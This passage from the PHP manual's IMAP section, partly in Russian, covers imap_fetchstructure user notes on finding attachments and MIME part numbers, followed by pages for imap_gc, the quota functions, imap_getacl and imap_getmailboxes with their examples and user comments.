The first version generated a PHP warning under PHP 5.0.3.  The second version actually gets the filename.
spam at emielmols dot info 01-Apr-2005 03:47
I've created a function which simply extracts basic message content as a string ($content) and attachments as an array ($attachments). I've tested it with messages from Outlook, Outlook Express and Hotmail. Perhaps it's useful to anyone.

<?php
        $struct = imap_fetchstructure($mbox, $mid);

        $parts = $struct->parts;
        $i = 0;

        if (!$parts) { /* Simple message, only 1 piece */
          $attachment = array(); /* No attachments */
          $content = imap_body($mbox, $mid);
        } else { /* Complicated message, multiple parts */

          $endwhile = false;

          $stack = array(); /* Stack while parsing message */
          $content = "";    /* Content of message */
          $attachment = array(); /* Attachments */

          while (!$endwhile) {
            if (!$parts[$i]) {
              if (count($stack) > 0) {
                $parts = $stack[count($stack)-1]["p"];
                $i     = $stack[count($stack)-1]["i"] + 1;
                array_pop($stack);
              } else {
                $endwhile = true;
              }
            }

            if (!$endwhile) {
              /* Create message part first (example '1.2.3') */
              $partstring = "";
              foreach ($stack as $s) {
                $partstring .= ($s["i"]+1) . ".";
              }
              $partstring .= ($i+1);

              if (strtoupper($parts[$i]->disposition) == "ATTACHMENT") { /* Attachment */
                $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                      "filedata" => imap_fetchbody($mbox, $mid, $partstring));
              } elseif (strtoupper($parts[$i]->subtype) == "PLAIN") { /* Message */
                $content .= imap_fetchbody($mbox, $mid, $partstring);
              }
            }

            if ($parts[$i]->parts) {
              $stack[] = array("p" => $parts, "i" => $i);
              $parts = $parts[$i]->parts;
              $i = 0;
            } else {
              $i++;
            }
          } /* while */
        } /* complicated message */

        echo "Analyzed message $mid, result: <br />";
        echo "Content: $content<br /><br />";
        echo "Attachments:"; print_r ($attachment);
?>
y dot daradkeh at gmail dot com 20-Dec-2004 07:40
Hey people, get the message attachments with this code:

<?php

$mbox = imap_open("$imap_server".$f,$name,$pass);

// delibertely choose a message with an attachment

$info = imap_fetchstructure($mbox, $mno);

// find out how may parts the object has
$numparts = count($info->parts);

$i=0;
// find if multipart message
if ($numparts >1)
{
   echo "<b>More than one part</b><br><br>";

   foreach ($info->parts as $part)
   {
      if ($part->disposition == "INLINE")
         printf("Inline message has %s lines<BR>", $part->lines);
     elseif ($part->disposition == "attachment")
     {
       $i++;
       echo $i." Attachment/s found!<br>";
       echo "Filename: ".$part->dparameters[0]->value."<br><br>";
     }
   }
}
else
   echo "Only one part";

imap_close($mbox);
?>
aperez at informatica dot 24ruedas dot com 16-Jun-2004 12:10
About above comment and source code I wrote: certainly, plain/html text files are attachments, but I've written my code thinking about web IMAP clients, where text parts are not for downloading, simply they are shown. That's the reason.

Thanks anyway. :)
passeniermaxime at hotmail dot com 15-Jun-2004 08:15
I have written a code that check's for attachments.
There is a slight problem with the above code;
when you send a mail with a .txt document as attachment
the type will be 0 and so there won't be a attachment found.

I check for the disposition of the body part witch can be inline or attachment.
If this is an attachment he will display it.
You an also mix up both codes by checking on the type and the disposition.

//////////////////////////////////
///   $mbox = connection
///   $a_mails_sort[$i] = message id

$structuur = imap_fetchstructure($mbox,$a_mails_sort[$i]);
$bericht_delen=$structuur->parts;
for($i_delen = 0; $i_delen<=count($bericht_delen);$i_delen++)
  {
  if($bericht_delen[$i_delen]->disposition == "attachment")
    {
    $attachment = "OK";
    }// end if
  }//end for
aperez at informatica dot 24ruedas dot com 25-May-2004 12:12
This is my function to check attachments:

<?php
  $est=imap_fetchstructure($con,$msg);

  if(checkAttachments($est))
  {
    echo("You have attachment(s)");
  }
  else
  {
    echo("You don't have attachment(s)");
  }

  function checkAttachments($estMsg)
  {
    if(($estMsg->type!=0) && ($estMsg->type!=1))
    {
      // Text and multipart parts will not be shown as attachments
      return(true);
    }
    else
    {
      // If there's no attachments, parts inside will be checked
      if($estMsg->parts)
      {
        $partMsg=$estMsg->parts;
        $i=0;
        // Parts will be checked while no attachments found or not all of them checked
        while(!(checkAttachments($partMsg[$i])) && ($i<sizeof($estMsg->parts)))
        {
          $i++;
        }

        // If any 'checkAttachment' calls returned 'true', 'i' should be
        // equal to number of parts(after increased in while). So, no
        // attachments found
        if($i==sizeof($estMsg->parts))
        {
          return(false);
        }
        else
        {
          return(true);
        }
      }
      else
      {
        // If no parts and text or multipart type, no attachments
        return(false);
      }
    }
  }
  imap_close($con);
?>

I hope this helps somebody else(if bugs, thanks for your fixes).
richy at smilingsouls dot net 28-Jan-2004 03:08
After many long hours of pouring over the object returned by imap_fetchstructure() I came up with the solution posted at the following url:

http://p2p.wrox.com/topic.asp?TOPIC_ID=9063

The url above provides an example of how to access variables in the object returned by imap_fetchstructure().  This class creates an object with member variables containing the correct part numbers which are compatible with the imap_fetchbody() function.

The structure returned looks something like this:

                       0 Raw Headers
$this->pid[$mid][0]  =  1 text/plain                        top level message
$this->pid[$mid][1]  =  2 message/rfc822                    entire unparsed message
                                                             multipart/mixed - part is skipped!
                           2.0 Raw Headers
$this->pid[$mid][2]  =      2.1 multipart/alternative       contains unparsed contents of next subpart (text/plain && text/html)
                                2.1.0 Raw Headers
$this->pid[$mid][3]  =          2.1.1 text/plain            2nd level inline embedded message
$this->pid[$mid][4]  =          2.1.2 text/html

$this->pid[$mid][5]  =      2.2 message/rfc822              entire unparsed message
                                                             multipart/mixed - part is skipped!
                                2.2.0 Raw Headers
$this->pid[$mid][6]  =          2.2.1 multipart/alternative
$this->pid[$mid][7]  =              2.2.1.1 text/plain      3rd level inline embedded message
$this->pid[$mid][8]  =              2.2.1.2 text/html
$this->pid[$mid][9]  =            2.2.2 image/jpeg
$this->pid[$mid][10] =             2.2.3 image/jpeg
$this->pid[$mid][11] =            2.2.4 image/jpeg
$this->pid[$mid][12] =            2.2.5 image/gif

Its important to note why multipart/related, multipart/mixed and certain multipart/alternative (if parent part is message/rfc822 && not multipart/mixed) parts are skipped, imap_fetchbody **does not** retreive a message part for these parts.  Which isn't a bug, as I have read in other places, these parts exist for the purpose of designing the viewer portion of a mail application.  Also, headers aren't assigned part numbers here because they are easy to pick out.

: )
Rich
chrislhill at "O_o" hotmail dot com 23-Oct-2003 11:36
For people just beging this may help alot as I spent a couple hours just trying to relize how exact the array was stored. (at the time I did not know the print_r function :P)

$struct = imap_fetchstructure($mbox, $msgnumber);
print_r($struct);

Will give you a better example for your messages but they are called as $struct using the varible method above.

$struct->type; //would return the type
$struct->encoding //would return the encoding

and etc..

This can be done many different ways but that is the basics on pulling the info out of the structure of fetchstructure itself, I hope it helps someone starting because it wouldve helped me :/.
es96 at hotmail dot com 13-Aug-2003 02:38
If you are getting CHARSET as US-ASCII even if the header has a Content-Type: field, make sure the header also has a MIME-Version: field.

For example, the following header will correcty report charset as KOI8-R

MIME-Version: 1.0
Content-Type: text/plain; charset="koi8-r"

Without the MIME-Version it will be reported as US-ASII
as1 at powersite dot com dot ar 30-Dec-2002 01:57
Sorry, my before code is not complet:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
  $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
  $j = 1;
  while( imap_fetchbody( $conn, $curMsg, "$i.$j" ) ){
    $struct->parts[$i-1]->parts[$j-1] = imap_bodystruct( $conn, $curMsg, "$i.$j" );
    $j++;
    }
  $i++;
}
as1 at powersite dot com dot ar 30-Dec-2002 01:01
If your imap_fetchstructure not retrive all parts, write it:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
   $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
   $i++;
}
paradise at ml75 dot com 04-Dec-2002 07:40
I'm using freeBSD and had lots of problems with all functions/mail applications i could find on the net...

So i'm writing my own now..

Most of the stuff works fine now.. but i'm still working on the chooser to select the best part to show. (plain or HTML).

The #1 problem is that most functions give the wrong ID numbers beck to fetch the body.

Here's a sollution to that problem.. :P

// Debug function.. always handy until it's 100% completed..
   $attachments = array(); $dispos=0;
   $debug=true;
   function doDebug($msg){
      global $debug, $debug_depth, $dispos;
      if($debug){
         for($y = 0; $y < $debug_depth; $y++) echo("&nbsp;&nbsp;&nbsp;&nbsp;");
         if($dispos == 0) echo($msg."<br/>"); else echo("<i>".$msg."</i><br/>");
      }
   }

   function Check_Part($part,$id){
      global $attachments, $debug, $debug_depth, $dispos; $ans=sizeof($attachments);
      doDebug("+Checking part $id");
      $debug_depth++;
      doDebug("Parttype=".$part->type ."/". mimetype($part->type) ."/". $part->subtype);

      if($part->ifdisposition){ $dispos++; doDebug("<b>Disposition</b>"); }
      if($part->ifdescription){ doDebug("<b>Description=".$part->description."</b>"); }

         switch($part->type){
           case 1: if((strtolower($part->subtype) == "mixed")
                        or (strtolower($part->subtype)  == "alternative")
                        or (strtolower($part->subtype) == "related")) break;

           default: $an = sizeof($attachments);
                    if($part->ifdparameters){
                       $dpara = $part->dparameters;
                       for ($v=0;$v<sizeof($dpara);$v++){
                          if (eregi("filename", $dpara[$v]->attribute))
                             $fname = $dpara[$v]->value;}
                    }
                    if($part->ifparameters){
                       if(empty($fname)){
                          $para = $part->parameters;
                          for ($v=0;$v<sizeof($para);$v++){
                             if (eregi("name", $para[$v]->attribute)) $fname = $para[$v]->value;
                          }
                       }
                    }
                    if(empty($fname))$fname = "Onbekend";

                  $attachments[$an]->id = ($an+1);
                  $attachments[$an]->part = $id;
                    $attachments[$an]->filename = $fname;
                   $attachments[$an]->type=$part->type;
                   $attachments[$an]->subtype=$part->subtype;
                   $attachments[$an]->dispos=$dispos;
                   $attachments[$an]->size=$part->bytes;
                  doDebug("Filename=".$attachments[$an]->filename); break;
         }

      for($x = 0; $x < count($part->parts); $x++){
         Check_Part($part->parts[$x], $id.".".($x+1));
      }
      doDebug("Dit deel had iets nuttigs.");
      if($part->ifdisposition) $dispos--;
      $debug_depth--;
      doDebug("-End of part $id");
   }

   function decode_mail($mbox, $msg){
      global $attachments, $debug, $debug_depth;
      doDebug("+Decoding message $msg"); $debug_depth++;
      $obj = imap_fetchstructure($mbox, $msg, FT_UID); $moet_werken=true; $id=1;
      while($moet_werken){
         Check_Part($obj, $id);

         $moet_werken=false;
      }
      $debug_depth--; doDebug("-End of message $msg");
   }

Now to get this to work..
Decode_Mail([Mailbox connection], [Message Number]);

this is the outpu attachment array..
1--1.1.1--Onbekend--0--PLAIN--0--31
2--1.1.2--Onbekend--0--HTML--0--29
3--1.2--Beschrijving Nieuw E.doc--3--MSWORD--1--613718
--------------------------------------

PS.. "Onbekend" is dutch for "Unknown".

Good luck.
Paradise (www.ml75.nl)
jcastro at elnuevodia dot com 20-Sep-2002 01:16
I think the above note about attachments is wrong. I tested sending files with and without attachments and I get the following<br>
with attachment: type=3 bytes=343648
no attachment: type=0 bytes=2
so checking for $struct->bytes == " " means nothing. At least in my test
running windows 2000, php4.2.1 using outlook and exchange. It seems that cheking the type will be more reliable
19-Sep-2002 03:20
This function sets MIME charset
parameter value to US-ASCII when
either Content-Type header is missing
or Content-Type header doesn't have
charset parameter. This may be compliant
to RFC 822, but this poses
a problem for  a calling function that
has to deal with untagged messages
in MIME charset other than US-ASCII.
To work around this,  US-ASCII
has to be treated as the absence of MIME charset.
kmakaveev(at)yahoo(dot)com 25-Jun-2002 07:29
There's a little mistake in the code above!
The second echo must return "The message has no attachment!".
And that code must have some some additional  thing to work properly! Maybe I must use ->parts to determine how many parts has a particular message!
php AT firstnetimpressions.com 18-Feb-2002 01:15
Point of clarification:

The seventh primary body type is not "Other" as documented, but actually "Model".  This encompasses IGES, VRML, MESH, DWF, etc.

http://www.isi.edu/in-notes/iana/assignments/media-types/media-types

"Other" is the eigth primary body type.
mkknapp at quadrapod dot com 25-Apr-2001 06:48
Assuming $struct = imap_fetchstructure($x,$y);

It is important to note that if a message has NO attachements, $struct->parts is an empty array, and $struct->bytes has a value.  If a message as ANY attachements, $struct->bytes ALWAYS = 0. To get the size of the primary body, you have to call structure->part[0]->bytes.  To get the size of the whole message, either strlen(imap_body) or add up the ->bytes of all the parts.

Another interesting note:
When there is body text and no attachements:
count($struct->parts) = 0
When there is body text and 1 attachement:
count($struct->parts) = 2

These imap functions could really use better documentation. Like giving the meathods for the dparameter and parameter classes...
jbrandt at europa dot com 16-Apr-2001 03:45
Parsing the recursive object returned from imap_fetchstructure is easy. However trying to figure out the name of the section to pass to imap_fetchbody() isn't quite so straight forward because the naming conventions for the MIME sections are odd. If you copy and paste the following function you can pass an UID of an IMAP message and it will print out a hierarchy of the message and label each section.

The only required parameters are $mbox and $em_uid. The other parameters are used when the function needs to call itself.

Two functions mime_encoding() and mime_type() are not included. All they do is return string for the integer represention of a mime type/encoding.

<?php
function imap_dbody($mbox, $em_uid, $mimeobj, $depth = 0, $section = 0)
{
        // If this is the first run of the function then grab a object of the MIME structure of the message

        if($section == 0) $mimeobj = imap_fetchstructure($mbox, $em_uid, FT_UID);

        for($y = 0; $y < $depth; $y++) echo("       ");

        echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
        echo(mime_encoding($mimeobj->encoding) . " (<B>$section</B>)<BR>");

        for($x = 0; $x < count($mimeobj->parts); $x++)
        {
                // If we are in the root of the object increment by whole integers

                if($section == 0) $nsection = $x + 1;

                // If we are in the object and the first sub-object of our object isn't multipart
                // then increment the postfix by ".1" otherwise we are multipart or a message
                // and leave the section id alone to be handled by the next code block

                else if(($pos = strrpos($section, ".")) && $mimeobj->parts[0]->type != TYPEMULTIPART)
                        $nsection = substr($section, 0, $pos) . "." . ($x + 1);
                else
                        $nsection = $section;

                // If there are more parts to the part about to be processed reference it as a header with ".0"
                // but only if the child of this child isn't MULTIPART

                if(count($mimeobj->parts[$x]->parts))
                {
                        // Funny really, if a mime section is a inline message that has a multipart body you reference the message
                        // mime section with "2" the inline message header with "2.0" and the subsections with "2.x"
                        // However if the mime section is a inline message with only 1 part then you reference the
                        // mime section in the message with 2.0 and the inline message body with 2.1

                        if(!($mimeobj->parts[$x]->type == TYPEMESSAGE && $mimeobj->parts[$x]->parts[0]->type == TYPEMULTIPART))
                                $nsection .= ".0";
                        else
                                $nsection .= "";
                }

                imap_dbody($mbox, $em_uid, $mimeobj->parts[$x], $depth + 1, $nsection);

        }

        // If after processing the entire MIME object the $x variable is still zero then we didn't
        // process a multipart mime message, it's just normal email so say so here.

        if($x == 0 && $section == 0)
        {
                echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
                echo(mime_encoding($mimeobj->encoding) . " (<B>1</B>) (<B>NOT MIME MULTIPART</B>)<BR>");
        }
}
?>
vksgeneric at hotmail dot com 02-Feb-2000 05:22
It looks like some clients (e.g. outlook) can attach a file that has two mime-types associated with it, like:

Content-Type: model/vrml,x-world/x-vrml

This bombs the parsing procedure somewhere in c-client, I guess, and as a result ifparameters is set to false for the respective part, and you can not retrieve filename, mimetype, or any other parameters.
hholzgra at media-engineering dot de 15-Dec-1999 01:59
the parts objects are identical in
structure to those returned by imap_fetchstructure, describing one subfolder each

parameters and dparameters are MIME-specific, theese contain the
extra parameters provided in the Content-Type and Content-Disposion Header lines such as Charset or Filename


Псевдоним imap_body

  • « imap_fetchstructure
  • imap_gc »
  • PHP Manual
  • Функции IMAP
  • Псевдоним imap_body

imap_fetchtext

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchtext — Псевдоним imap_body()

Описание

Функция является псевдонимом: imap_body().

User Contributed Notes

There are no user contributed notes for this page.


Очистить кеш IMAP

  • « imap_fetchtext
  • imap_get_quota »
  • PHP Manual
  • Функции IMAP
  • Очистить кеш IMAP

imap_gc

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_gc — Очистить кеш IMAP

Описание

imap_gc(IMAP\Connection $imap, int $flags): bool

Удаляет из кеша записи заданного типа.

Список параметров

imap

Экземпляр IMAP\Connection.

flags

Задаёт кеш для чистки. Может быть любой комбинацией констант: IMAP_GC_ELT (элементы кеша сообщений), IMAP_GC_ENV (обёртки и тела), IMAP_GC_TEXTS (тексты).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_gc()

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password");

imap_gc($mbox, IMAP_GC_ELT);

?>

User Contributed Notes

Anonymous 23-Jul-2009 12:47
If you notice that you're program's memory usage is increasing (as observed using ps) while calling the imap functions, calling this function should free that memory.


Получить настройку уровня квоты и статистику использования почтовых ящиков

  • « imap_gc
  • imap_get_quotaroot »
  • PHP Manual
  • Функции IMAP
  • Получить настройку уровня квоты и статистику использования почтовых ящиков

imap_get_quota

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

imap_get_quota — Получить настройку уровня квоты и статистику использования почтовых ящиков

Описание

imap_get_quota(IMAP\Connection $imap, string $quota_root): array|false

Возвращает настройку уровня квоты и статистику использования почтовых ящиков.

Версия данной функции для использования обычными пользователями, не администраторами - imap_get_quotaroot().

Список параметров

imap

Экземпляр IMAP\Connection.

quota_root

quota_root должно соответствовать формату user.name, где name - имя ящика, информация по которому нужна.

Возвращаемые значения

Возвращает ассоциативный массив целых чисел с ключами "limit" и "usage". Число с ключом "limit" определяет максимальный допустимый размер ящика. Число с ключом "usage" определяет текущий уровень использования. В случае возникновения ошибки вернёт false.

Начиная с PHP 4.3 и выше, функция более точно соответствует стандарту, описанному в » RFC2087. Значение возвращаемого массива изменилось для поддержки неограниченного количества возвращаемых ресурсов (т.е. сообщений или подпапок), где каждый именованный ресурс будет представлен индивидуальным массивом. Каждый элемент массива будет содержать другой массив к ключами "limit" и "usage".

Для обеспечения обратной совместимости, оригинальный метод доступа всё ещё доступен, хотя предполагается это поправить.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_get_quota()

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
or die("не удалось подключиться: " . imap_last_error());

$quota_value = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_value)) {
echo "Уровень использования: " . $quota_value['usage'];
echo "Размер ящика: " . $quota_value['limit'];
}

imap_close($mbox);
?>

Пример #2 Пример использования imap_get_quota() в PHP 4.3 и выше

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
or die("не удалось подключиться: " . imap_last_error());

$quota_values = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_values)) {
$storage = $quota_values['STORAGE'];
echo "Уровень использования STORAGE: " . $storage['usage'];
echo "Максимальный размер STORAGE: " . $storage['limit'];

$message = $quota_values['MESSAGE'];
echo "Уровень использования MESSAGE: " . $message['usage'];
echo "Максимальный размер MESSAGE: " . $message['limit'];

/* ... */
}

imap_close($mbox);
?>

Примечания

Эта функция доступна только при использовании библиотеки c-client2000 или новее.

Заданный поток imap должен быть открыт под административным пользователем.

Смотрите также

  • imap_open() - Открывает поток IMAP к почтовому ящику
  • imap_set_quota() - Установить квоту для заданного почтового ящика
  • imap_get_quotaroot() - Получить настройки квоты для каждого пользователя

User Contributed Notes

Anti Veeranna 01-Mar-2007 11:26
If you're using this (or probably any other imap functions) and getting "Notice: Unknown: Quota root does not exist (errflg=2) in Unknown on line 0" errors after the script finishes, then call imap_errors() function before you close the imap stream - this will clear the error stack and you don't get those annoying notices.

Took me a while to figure it out.
Shiraz Esat 20-Dec-2004 09:40
For this function to work your IMAP server must also have the 'getquota' capability!

Check this by logging in directly:
telnet <mail server> <port>

e.g. telnet mail.myserver.com 143

and then once you're connected to the server
0 CAPABILITY
dc at aufruhr dot com 18-Jul-2003 04:26
ok, this error just occurs if there are no quotas on your mailbox.

same with imap_get_quotaroot().


Получить настройки квоты для каждого пользователя

  • « imap_get_quota
  • imap_getacl »
  • PHP Manual
  • Функции IMAP
  • Получить настройки квоты для каждого пользователя

imap_get_quotaroot

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imap_get_quotaroot — Получить настройки квоты для каждого пользователя

Описание

imap_get_quotaroot(IMAP\Connection $imap, string $mailbox): array|false

Возвращает настройки квоты для каждого пользователя. Число с ключом "limit" определяет максимальный допустимый размер ящика. Число с ключом "usage" определяет текущий уровень использования.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

mailbox должно содержать имя ящика (например INBOX).

Возвращаемые значения

Возвращает массив целых чисел, относящихся к конкретному пользователю. В качестве ключей массива используются имена ресурсов, а в качестве значений массивы с ключами "limit" и "usage".

В случае возникновения ошибки эта функция вернёт false и массив информации о соединении в случае получения ответа, который она не сможет разобрать.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_get_quotaroot()

<?php
$mbox = imap_open("{imap.example.org}", "kalowsky", "password", OP_HALFOPEN)
or die("не удалось подключиться: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
$storage = $quota['STORAGE'];
echo "Уровень использования STORAGE: " . $storage['usage'];
echo "Максимальный размер STORAGE: " . $storage['limit'];

$message = $quota['MESSAGE'];
echo "Уровень использования MESSAGE: " . $message['usage'];
echo "Максимальный размер MESSAGE: " . $message['limit'];

/* ... */

}

imap_close($mbox);
?>

Примечания

Эта функция доступна только при использовании библиотеки c-client2000 или новее.

Заданный поток imap должен быть открыт под пользователем, чей ящик вы хотите проверить.

Смотрите также

  • imap_open() - Открывает поток IMAP к почтовому ящику
  • imap_set_quota() - Установить квоту для заданного почтового ящика
  • imap_get_quota() - Получить настройку уровня квоты и статистику использования почтовых ящиков

User Contributed Notes

uphonesimon at gmail dot com 21-Sep-2005 04:37
just to make a note for all the people that are wondering the differences between $quota['STORAGE'] and $quot['MESSAGE']
the $quot['STORAGE'] is the size of the mailbox in KB
but $quota['MESSAGE'] is actually the number of messages stored in the mailbox and the up limit of the total messages allowed
rodrigo dot tsuru at tsuru dot net 15-Sep-2004 11:07
The example above isn't right. Replace with this:

<?php
$mbox = imap_open("{your.imap.host}", "kalowsky", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE usage level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>
thomas dot hebinck at digionline dot de 30-Aug-2003 07:55
['STORAGE']['usage'] and ['STORAGE']['limit'] are values in KB (1024 Bytes)


Получить ACL для заданного почтового ящика

  • « imap_get_quotaroot
  • imap_getmailboxes »
  • PHP Manual
  • Функции IMAP
  • Получить ACL для заданного почтового ящика

imap_getacl

(PHP 5, PHP 7, PHP 8)

imap_getacl — Получить ACL для заданного почтового ящика

Описание

imap_getacl(IMAP\Connection $imap, string $mailbox): array|false

Возвращает ACL для заданного почтового ящика.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

Имя почтового ящика. Более подробно читайте в разделе, посвящённом функции imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

Возвращаемые значения

Возвращает ассоциативный массив вида "folder" => "acl" или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_getacl()

<?php

print_r(imap_getacl($imap, 'user.joecool'));

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)

Примечания

Эта функция доступна только при использовании библиотеки c-client2000 или новее.

Смотрите также

  • imap_setacl() - Установка ACL для заданного почтового ящика

User Contributed Notes

hartmut dot woehrle at hwds dot ch 07-Mar-2016 02:13
Maybe the functionality changed over the years but the examples are wrong.
It does NOT return [subfolder] => ACL

At the moment (PHP5) the usage and answer of imap_getacl is the following:
You ask for the folder and get the ACLs for exactly this folder (no Wildcards)

Example:
When you have the folder Business in your mailbox

print_r(imap_getacl($connection , "user/john.doe/Business"));

returns the following:

Array
(
    [john.doe@example.com] => lrswipkxtecda
    [cyrus@example.com] => lrswipkxtecd
    [secretary@example.com] => lrsp
    [department@example.com] => lrs
)

Which means you have to loop over your directories (imap_list) and list the ACL for ever folder seperately.
info at obengelb dot de 13-Sep-2006 04:58
stream_id is the stream returned from imap_open

mailbox is a mailbox name (without server name)

Example:
print_r(imap_getacl ($strea_id, 'user.joecool'));

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)


Прочитать список почтовых ящиков, возвращая подробную информацию по каждому из них

  • « imap_getacl
  • imap_getsubscribed »
  • PHP Manual
  • Функции IMAP
  • Прочитать список почтовых ящиков, возвращая подробную информацию по каждому из них

imap_getmailboxes

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_getmailboxes — Прочитать список почтовых ящиков, возвращая подробную информацию по каждому из них

Описание

imap_getmailboxes(IMAP\Connection $imap, string $reference, string $pattern): array|false

Получает информацию о почтовых ящиков.

Список параметров

imap

Экземпляр IMAP\Connection.

reference

reference обычно должен быть только спецификацией сервера, как описано в imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

pattern

Определяет начало поиска в иерархии почтовых ящиков.

Есть два специальных символа, которые можно использовать при передаче как часть pattern: '*' и '%'. '*' возвращает все почтовые ящики. Если вы передадите pattern как '*', то получите полный список иерархии почтовых ящиков. '%' вернёт только текущий уровень. '%', переданный как параметр pattern, вернёт почтовые ящики только на самом верхнем уровне; '~/mail/%' на UW_IMAPD вернёт все ящики в директории ~/mail, кроме тех, которые находятся в её поддиректориях.

Возвращаемые значения

Возвращает массив объектов, содержащих информацию о ящиках. Каждый объект имеет свойства: name, содержащее полное имя ящика; delimiter, содержащее разделитель для той части иерархии, в которой содержится ящик; и attributes. Параметр Attributes является битовой маской, следующих допустимых констант:

  • LATT_NOINFERIORS - этот ящик не имеет и не может иметь потомков (содержать вложенные ящики). Вызов функции imap_createmailbox() не будет работать для этого ящика.

  • LATT_NOSELECT - это только контейнер, а не почтовый ящик. Вы не можете его открыть.

  • LATT_MARKED - Этот ящик помечен. Означает, что в нем могут быть новые письма, появившиеся с момента последней проверки. Работает не со всеми серверами IMAP.

  • LATT_UNMARKED - Этот ящик не помечен, т.е. в нем нет новых писем. Если один из флагов MARKED или UNMARKED выставлен - можете считать, что сервер поддерживает этот функционал.

  • LATT_REFERRAL - Этот контейнер имеет направления (referral) на удалённый почтовый ящик.

  • LATT_HASCHILDREN - Этот почтовый ящик имеет выбираемые подчинённые (inferiors).

  • LATT_HASNOCHILDREN - Этот почтовый ящик не имеет выбираемые подчинённые (inferiors).

Функция возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_getmailboxes()

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
or die("не удалось подключиться: " . imap_last_error());

$list = imap_getmailboxes($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
foreach ($list as $key => $val) {
echo "($key) ";
echo imap_utf7_decode($val->name) . ",";
echo "'" . $val->delimiter . "',";
echo $val->attributes . "<br />\n";
}
} else {
echo "вызов imap_getmailboxes завершился с ошибкой: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

Смотрите также

  • imap_getsubscribed() - Список всех почтовых ящиков, на которые вы подписаны

User Contributed Notes

james dot mattingly at gmail dot com 18-Jul-2011 12:19
For the purposes of passing along the attributes as a json array, I wanted to pass the attributes as an indexed array to save on bandwidth and session storage.  The human readable translation is then performed in javascript by relating each key to the proper attribute label.  I also wanted a cleaner way of converting the attributes without calling another function or using a complex iteration. This puts each binary attribute into it's own array element for easy testing.

<?php
$mailboxes = imap_getmailboxes($mailbox, $username, $password);

foreach($mailboxes as $key=>$mailbox){
   ...
   $attrs =  preg_split('//',str_pad(decbin($mailbox->attributes),7,"0",STR_PAD_LEFT),8);  // convert decimal to an array of attributes
   array_shift($attrs); // Remove the extra element at the front of the array in position 0
   ...
}
?>

With temporary variables, the conversion would look like this.

<?php
$attr_binary = decbin($mailbox->attributes);  // convert decimal to binary
$attr_binary = str_pad($attr_binary,7,"0",STR_PAD_LEFT);  // pad with 0's on the left
$attrs = $preg_split('//',$attr_binary,8);  // split into an array after each character
array_shift($attrs);  // Remove the extra element at the front of the array in position 0
?>

By defining the attributes as a map to the array index, you can test as follows.

<?php
define("ATTR_NOINFERIORS",6);
define("ATTR_NOSELECT "5);
define("ATTR_MARKED ",4);
define("ATTR_UNMARKED ",3);
define("ATTR_REFERRAL ",2);
define("ATTR_HASCHILDREN ",1);
define("ATTR_HASNOCHILDREN ",0);

if ($attrs[ATTR_HASCHILDREN]){
 // do something
}
?>
Mohamed Abbas mabbas_xyz at yahoo dot com 18-Nov-2006 08:51
i am currently develop a simple IMAP client, when i call imap_getmailboxes() i receive a different values in attributes property of the mailbox object the problem is how can i manipulate these attributes to get a meaningful value,
if you make a hard search to find a solution for this, you will
not find any useful documents for this problem, let us take a closer look for this problem.

when i call imap_getmailboxes() against different IMAP servers i got these attribute values

[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

the documentation tell us that we check this attributes against four constants, these contents are

LATT_NOINFERIORS
LATT_NOSELECT
LATT_MARKED
